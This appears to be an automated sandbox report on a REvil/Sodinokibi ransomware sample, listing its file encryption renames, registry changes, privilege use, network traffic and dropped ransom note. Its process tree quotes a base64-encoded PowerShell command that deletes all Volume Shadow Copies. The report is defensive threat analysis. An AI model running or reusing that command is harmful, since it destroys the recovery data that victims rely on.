Analysis Overview
SHA256
50fdb342de90ce63c31625156beb9ed968bf11527ce7c4c3bd4a3f3f7c4cf730
Threat Level: Known bad
The file 2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe was found to be: Known bad.
Malicious Activity Summary
Sodin,Sodinokibi,REvil
Sodinokibi family
Modifies extensions of user files
Enumerates connected drives
Sets desktop wallpaper using registry
Drops file in Program Files directory
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Uses Volume Shadow Copy service COM API
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2023-04-22 03:51
Signatures
Sodinokibi family
Analysis: behavioral1
Detonation Overview
Submitted
2023-04-22 03:51
Reported
2023-04-22 03:54
Platform
win7-20230220-en
Max time kernel
39s
Max time network
34s
Command Line
Signatures
Processes
C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe
"C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe"
Network
Files
Analysis: behavioral2
Detonation Overview
Submitted
2023-04-22 03:51
Reported
2023-04-22 03:53
Platform
win10v2004-20230220-en
Max time kernel
118s
Max time network
123s
Command Line
Signatures
Sodin,Sodinokibi,REvil
Modifies extensions of user files
| Description | Indicator | Process | Target |
| File renamed | C:\Users\Admin\Pictures\SuspendDisconnect.tiff => \??\c:\users\admin\pictures\SuspendDisconnect.tiff.ncyx0rm | C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\UnprotectAssert.raw => \??\c:\users\admin\pictures\UnprotectAssert.raw.ncyx0rm | C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\ExportRepair.tif => \??\c:\users\admin\pictures\ExportRepair.tif.ncyx0rm | C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\ProtectMove.tif => \??\c:\users\admin\pictures\ProtectMove.tif.ncyx0rm | C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe | N/A |
| File opened for modification | \??\c:\users\admin\pictures\SuspendDisconnect.tiff | C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\RegisterAdd.raw => \??\c:\users\admin\pictures\RegisterAdd.raw.ncyx0rm | C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\StartTest.tif => \??\c:\users\admin\pictures\StartTest.tif.ncyx0rm | C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe | N/A |
Enumerates connected drives
Sets desktop wallpaper using registry
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\4j759y.bmp" | C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe | N/A |
Drops file in Program Files directory
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeAuditPrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 904 wrote to memory of 2836 | N/A | C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 904 wrote to memory of 2836 | N/A | C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Uses Volume Shadow Copy service COM API
Processes
C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe
"C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 240.232.18.117.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 149.220.183.52.in-addr.arpa | udp |
| US | 20.44.10.123:443 | tcp | |
| US | 8.8.8.8:53 | 86.8.109.52.in-addr.arpa | udp |
| US | 93.184.221.240:80 | tcp | |
| US | 93.184.221.240:80 | tcp | |
| US | 93.184.220.29:80 | tcp | |
| US | 93.184.220.29:80 | tcp | |
| US | 209.197.3.8:80 | tcp | |
| NL | 173.223.113.164:443 | tcp | |
| NL | 173.223.113.131:80 | tcp | |
| US | 204.79.197.203:80 | tcp | |
| US | 117.18.232.240:80 | tcp |
Files
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_huoihjem.hmx.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2836-142-0x000002054A090000-0x000002054A0B2000-memory.dmp
memory/2836-143-0x000002054A140000-0x000002054A150000-memory.dmp
memory/2836-144-0x000002054A140000-0x000002054A150000-memory.dmp
memory/2836-145-0x000002054A140000-0x000002054A150000-memory.dmp
memory/2836-148-0x000002054ACD0000-0x000002054AEEC000-memory.dmp
C:\Recovery\ncyx0rm-readme.txt
| MD5 | 14efa44ca00c3a22b7078bbee3c5ca44 |
| SHA1 | 932219d37f4d4dcee1c163a9d2ff5c384cf80458 |
| SHA256 | cffe674b2be6d99edb656595127e4dbd962c39e5f85aba9e7909d592d8daa680 |
| SHA512 | 5ba206202ec69f1cbae227f587b2cdab8880c6d109e9e7192a615229f241579f491820b64e1923fdc0b43ea320957f07d01ebef4fd10c742a11e0aa54a33f15b |